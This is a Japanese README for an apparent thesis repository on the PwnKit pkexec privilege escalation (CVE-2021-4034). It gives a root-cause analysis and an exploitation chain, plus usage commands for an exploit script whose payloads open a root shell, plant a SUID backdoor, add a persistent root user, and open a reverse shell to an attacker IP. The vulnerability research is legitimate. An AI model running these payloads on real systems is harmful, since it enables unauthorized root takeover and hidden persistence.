
CVE-2021-4034(PwnKit)に関する高度なLinux権限昇格の研究。7つのポリモーフィックペイロードモード(Interactive Shell、Backdoor、User Creation、Reverse Shellなど)を備えた最適化されたエクスプロイトを特徴とします。メモリ破損ロジック、環境変数の操作、アンチフォレンジック技術に焦点を当てたポートフォリオ作品です。
polkit の pkexec ユーティリティにおけるメモリ破壊の脆弱性
ローカル権限昇格 → 領域外書き込みによる root 取得
影響を受けるバージョン: polkit 0.105-31 以前 · パッチ: polkit 0.105-33 (2022年1月)
CVE-2021-4034 - PwnKit を利用して取得した対話型 root シェル
このリポジトリには、polkit の pkexec ユーティリティにおける高深刻度 (CVSS 7.8) のローカル権限昇格脆弱性である CVE-2021-4034 (通称 PwnKit) に関する、私の修士論文研究が含まれています。
この脆弱性は、pkexec の引数処理ロジックにおける領域外書き込みに起因します。pkexec が空または細工された argv で実行されると、argv 配列の境界を越えて envp 配列への読み書きが発生し、権限のないローカルユーザーが悪意のある環境変数を注入できるようになります。これらの環境変数は後で共有ライブラリとして読み込まれ、root 権限で任意のコードが実行されます。
| 項目 | 説明 |
|---|---|
| マルチペイロードエクスプロイト | シェル、id、バックドア、リバースシェルを含む6つのペイロードモードを備えた Python ラッパー |
| 自動化された環境構築 | GCONV_PATH の自動構築と gconv-modules の自動設定 |
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version で 0.105 以前と表示される)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec は自身の argv を処理して実行するプログラムを特定します。argc == 0 (空の引数ベクトル) で呼び出されると、argv に対する境界チェックが静かに失敗します。その後の領域外読み取りにより envp[0] が argv[1] として扱われ、envp への領域外書き込みによって攻撃者は環境変数を細工したパスに置き換えることができます。その後、pkexec が g_printerr() を呼び出すと、攻撃者によって制御された環境から GCONV_PATH が読み込まれ、攻撃者が用意した共有ライブラリが root 権限で読み込まれます。
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)







すべてのテストは、脆弱性のある polkit 0.105-26 を搭載した Ubuntu 20.04 LTS の分離された VirtualBox VM 上で、ネットワークに一切さらさずに実施しました。
本研究は、複数の環境にわたる N-Day 脆弱性を分析する、私のサイバーセキュリティ修士論文 (UCAM — Campus Internacional de Ciberseguridad) の一部です。
本 CVE は、論文内のLinux ローカル権限昇格ベクトルを代表しており、以下を示しています:
キーワード: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — サイバーセキュリティ修士課程の学生
MIT ライセンス — LICENSE を参照
このリポジトリは、学術的な修士論文の一部として、教育およびセキュリティ研究目的のみで提供されています。すべてのテストは、ネットワークに一切さらされていない分離された仮想マシン上で実施されました。所有しているシステム、またはテストに関する明示的な書面による許可を得たシステムでのみ使用してください。許可なくシステムに対して使用することは違法であり、刑事訴追の対象となる可能性があります。
| 権限昇格後のモジュール | SUID バックドア、root ユーザー作成、カスタムコマンド実行 |
| 学術的ドキュメント | 根本原因分析、攻撃チェーン、脆弱性のタイムライン |
| ペイロード | 説明 | 出力 |
|---|
shell | root として対話型 /bin/sh を起動 | 対話型シェル |
id | id と whoami の出力を /tmp/pwnkit_id.txt に書き込む | ファイル |
whoami | UID/eUID の検証結果を /tmp/pwnkit_root_test に書き込む | ファイル |
backdoor_suid | SUID 付き root bash のコピーを /tmp/.sh に作成 | 永続的なバックドア |
add_root_user | カスタムユーザーを /etc/passwd に追記 | 永続的なアクセス |
reverse_shell | Python 経由で攻撃者に接続を返す | リモートシェル |
custom | 任意のコマンドを root として実行 | 標準出力 / ファイル |
| コンポーネント | 値 | 備考 |
|---|
| 脆弱なバイナリ | /usr/bin/pkexec | SUID root |
| トリガー条件 | argc == 0 | 空の argv |
| 書き込みプリミティブ | envp への領域外書き込み | argv[argc-1] 経由 |
| 読み込みメカニズム | GCONV_PATH + gconv-modules | 標準の glibc iconv |
| 実行コンテキスト | 共有ライブラリ内の gconv_init() | EUID 0 で実行 |
| 影響を受けるバージョン | polkit ≤ 0.105-31 | すべての主要 Linux ディストリビューション |
| ペイロード | 結果 | 備考 |
|---|
shell | ✅ root シェル取得 | 即時の対話型アクセス |
id | ✅ uid=0(root) 確認 | 出力は /tmp/pwnkit_id.txt |
whoami | ✅ root 確認 | UID/eUID = 0 |
backdoor_suid | ✅ /tmp/.sh に SUID ビット設定 | エクスプロイト後も永続 |
add_root_user | ✅ カスタムユーザー作成 | 再起動後も維持 |
reverse_shell | ✅ 接続確立 | Python リバースシェル動作確認 |
custom | ✅ 任意のコマンド実行 | 完全な root コンテキスト |
| CVE タイムライン | 発見、開示、パッチ適用の経緯 |